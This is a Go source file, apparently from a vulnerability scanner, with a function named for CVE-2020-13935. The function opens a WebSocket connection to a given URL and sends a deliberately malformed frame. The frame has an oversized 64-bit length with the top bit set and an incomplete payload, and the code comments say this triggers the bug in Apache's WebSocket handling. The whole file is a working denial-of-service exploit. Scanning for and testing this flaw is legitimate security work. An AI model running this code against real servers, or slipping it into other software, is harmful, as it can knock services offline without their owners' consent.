package apache

import (
	"bytes"
	"fmt"
	"github.com/gorilla/websocket"
)

func CVE_2020_13935(url string) (bool, error) {
	ws, _, err := websocket.DefaultDialer.Dial(url, nil)
	if err != nil {
		return false, fmt.Errorf("dial: %s", err)
	}

	// +-+-+-+-+-------+-+-------------+-------------------------------+
	//  0                   1                   2                   3
	//  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
	// +-+-+-+-+-------+-+-------------+-------------------------------+
	// |F|R|R|R| opcode|M| Payload len |    Extended payload length    |
	// |I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
	// |N|V|V|V|       |S|             |   (if payload len==126/127)   |
	// | |1|2|3|       |K|             |                               |
	// +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
	// |     Extended payload length continued, if payload len == 127  |
	// + - - - - - - - - - - - - - - - +-------------------------------+
	// |                               | Masking-key, if MASK set to 1 |
	// +-------------------------------+-------------------------------+
	// | Masking-key (continued)       |          Payload Data         |
	// +-------------------------------- - - - - - - - - - - - - - - - +
	// :                     Payload Data continued ...                :
	// + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
	// |                     Payload Data continued ...                |
	// +---------------------------------------------------------------+

	var buf bytes.Buffer

	fin := 1
	rsv1 := 0
	rsv2 := 0
	rsv3 := 0
	opcode := websocket.TextMessage

	buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode))

	// always set the mask bit
	// indicate 64 bit message length
	buf.WriteByte(byte(1<<7 | 0b1111111))

	// set msb to 1, violating the spec and triggering the bug
	buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})

	// 4 byte masking key
	// leave zeros for now, so we do not need to mask
	maskingKey := []byte{0, 0, 0, 0}
	buf.Write(maskingKey)

	// write an incomplete message
	buf.WriteString("testnmanp")
	_, err = ws.UnderlyingConn().Write(buf.Bytes())
	if err != nil {
		return false, fmt.Errorf("write: %s", err)
	}
	//// keep the websocket connection open for some time
	//time.Sleep(30 * time.Second)

	return true, nil
}
